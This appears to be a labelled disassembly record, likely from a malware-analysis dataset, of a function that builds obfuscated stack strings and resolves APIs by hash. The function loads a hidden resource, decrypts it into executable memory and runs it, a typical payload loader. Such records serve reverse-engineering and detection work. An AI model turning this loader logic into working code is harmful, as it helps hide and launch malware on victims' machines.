Function at 0x407cd0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x43cba8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40
push ebx
push ebp
push esi
push edi
push 8
xor ebx, ebx
push str.eTNy24B_
lea ecx, [esp + 0x3c]
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
call fcn.00403910
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov al, 0x6c
push ebx
mov byte [esp + 0x2d], al
mov byte [esp + 0x32], al
mov byte [esp + 0x33], al
push ebx
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x64], ebx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x65
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
call ebp
mov esi, eax
push 0x16de565f
push esi
call fcn.004043d0
push 0x1a4b89aa
push esi
mov dword [esp + 0x20], eax
call fcn.004043d0
mov ecx, dword [esp + 0x58]
lea edx, [ecx*8 - 0x5f27204]
push edx
push esi
call fcn.004043d0
push 0x31cb1743
push esi
mov edi, eax
call fcn.004043d0
add esp, 0x20
push 0xa
push 0x4b60
push ebx
mov esi, eax
call edi
mov edi, eax
cmp edi, ebx
jne 0x407dd9
cmp dword [esp + 0x4c], 0x10
jb 0x407df7
mov eax, dword [esp + 0x38]
push eax
call fcn.00425423
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
add esp, 0x4c
ret
push edi
push ebx
call esi
mov esi, eax
cmp esi, ebx
jne 0x407e0c
cmp dword [esp + 0x4c], 0x10
jb 0x407df7
mov ecx, dword [esp + 0x38]
push ecx
call fcn.00425423
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
add esp, 0x4c
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push ebx
lea edx, [esp + 0x20]
mov edi, eax
push edx
mov dword [esp + 0x20], edi
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x6b
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x67
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x2e
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x78
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
call ebp
test eax, eax
je 0x407e97
push ebx
push 0x43ea78
call fcn.004130e5
add esp, 4
push eax
push str.8192
call fcn.004130e5
add esp, 4
or eax, 0x1000
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [esp + 0x28]
mov ebp, eax
cmp ebp, ebx
jne 0x407eb5
lea ecx, [esp + 0x34]
call fcn.004035d0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
add esp, 0x4c
ret
mov edx, dword [esp + 0x64]
mov ecx, edi
mov eax, ecx
shr ecx, 2
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x60]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
push ecx
push ebp
push edx
push eax
call fcn.00403b10
add esp, 0x10
call ebp
lea ecx, [esp + 0x34]
call fcn.004035d0
mov ecx, dword [esp + 0x50]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x4c
ret